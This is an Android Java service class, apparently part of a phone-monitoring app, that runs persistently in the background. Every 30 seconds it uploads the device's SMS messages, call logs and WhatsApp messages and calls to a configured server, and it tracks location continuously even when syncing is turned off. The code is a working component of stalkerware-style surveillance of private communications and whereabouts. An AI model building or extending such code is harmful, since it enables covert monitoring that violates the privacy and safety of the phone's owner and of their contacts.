package com.example.sms_call_sync;

import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.preference.PreferenceManager;
import android.util.Log;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import android.Manifest;

public class AutoSyncService extends Service {
    private static final String TAG = "AutoSyncService";
    private static final String CHANNEL_ID = "AutoSyncChannel";
    private static final int NOTIFICATION_ID = 1;
    private static final int SYNC_INTERVAL = 30000; // 30 seconds
    
    private Handler handler;
    private Runnable syncRunnable;
    private SyncManager syncManager;
    private LocationTracker locationTracker;
    
    @Override
    public void onCreate() {
        super.onCreate();
        Log.d(TAG, "AutoSyncService created");
        
        syncManager = new SyncManager(this);
        handler = new Handler(Looper.getMainLooper());
        
        createNotificationChannel();
        startForeground(NOTIFICATION_ID, createNotification());
        
        setupSyncRunnable();
    }
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Log.d(TAG, "AutoSyncService started");
        
        SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
        boolean autoSyncEnabled = prefs.getBoolean("auto_sync_enabled", false);
        
        if (autoSyncEnabled) {
            startSyncLoop();
        }
        
        // Always start location tracking when service starts (regardless of auto sync state)
        startLocationTracking();
        
        if (!autoSyncEnabled) {
            // If auto sync is disabled but we still want location tracking,
            // we keep the service running for location only
            Log.d(TAG, "Auto sync disabled but keeping service for location tracking");
        }
        
        // Return START_STICKY to restart service if killed
        return START_STICKY;
    }
    
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    
    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.d(TAG, "AutoSyncService destroyed");
        
        if (handler != null && syncRunnable != null) {
            handler.removeCallbacks(syncRunnable);
        }
        
        if (locationTracker != null) {
            locationTracker.stopLocationTracking();
        }
    }
    
    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel channel = new NotificationChannel(
                CHANNEL_ID,
                "Auto Sync Service",
                NotificationManager.IMPORTANCE_LOW
            );
            channel.setDescription("Background sync for SMS and Call data");
            
            NotificationManager manager = getSystemService(NotificationManager.class);
            manager.createNotificationChannel(channel);
        }
    }
    
    private Notification createNotification() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(
            this, 0, notificationIntent, 
            Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ? PendingIntent.FLAG_IMMUTABLE : 0
        );
        
        SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
        boolean autoSyncEnabled = prefs.getBoolean("auto_sync_enabled", false);
        
        String contentText = autoSyncEnabled ? 
            "Syncing SMS, calls, and location data" : 
            "Tracking location data";
        
        return new NotificationCompat.Builder(this, CHANNEL_ID)
            .setContentTitle("Location & Sync Service")
            .setContentText(contentText)
            .setSmallIcon(android.R.drawable.ic_menu_upload)
            .setContentIntent(pendingIntent)
            .setOngoing(true)
            .build();
    }
    
    private void setupSyncRunnable() {
        syncRunnable = new Runnable() {
            @Override
            public void run() {
                SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(AutoSyncService.this);
                boolean autoSyncEnabled = prefs.getBoolean("auto_sync_enabled", false);
                
                if (!autoSyncEnabled) {
                    Log.d(TAG, "Auto sync disabled, stopping service");
                    stopSelf();
                    return;
                }
                
                performSync();
                
                // Schedule next sync
                handler.postDelayed(this, SYNC_INTERVAL);
            }
        };
    }
    
    private void startSyncLoop() {
        Log.d(TAG, "Starting sync loop");
        handler.post(syncRunnable);
    }
    
    private void performSync() {
        SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
        String serverUrl = prefs.getString("server_url", "");
        String phoneName = prefs.getString("phone_name", "");
        
        if (serverUrl.isEmpty() || phoneName.isEmpty()) {
            Log.w(TAG, "Server URL or phone name not configured");
            return;
        }
        
        Log.d(TAG, "Performing sync...");
        
        // Sync SMS if permission granted
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) 
                == PackageManager.PERMISSION_GRANTED) {
            syncManager.syncSms(serverUrl, phoneName);
        }
        
        // Sync call history if permission granted
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG) 
                == PackageManager.PERMISSION_GRANTED) {
            syncManager.syncCallHistory(serverUrl, phoneName);
        }
        
        // ADDED: Sync WhatsApp data if storage permission granted
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) 
                == PackageManager.PERMISSION_GRANTED) {
            WhatsAppTracker whatsAppTracker = new WhatsAppTracker(this, serverUrl, phoneName);
            whatsAppTracker.syncWhatsAppMessages();
            whatsAppTracker.syncWhatsAppCalls();
        }
    }
    
    private void startLocationTracking() {
        SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
        String serverUrl = prefs.getString("server_url", "");
        String phoneName = prefs.getString("phone_name", "");
        
        if (!serverUrl.isEmpty() && !phoneName.isEmpty()) {
            if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION) 
                    == PackageManager.PERMISSION_GRANTED) {
                locationTracker = new LocationTracker(this, serverUrl, phoneName);
                locationTracker.startLocationTracking();
                Log.d(TAG, "Location tracking started");
            }
        }
    }
}

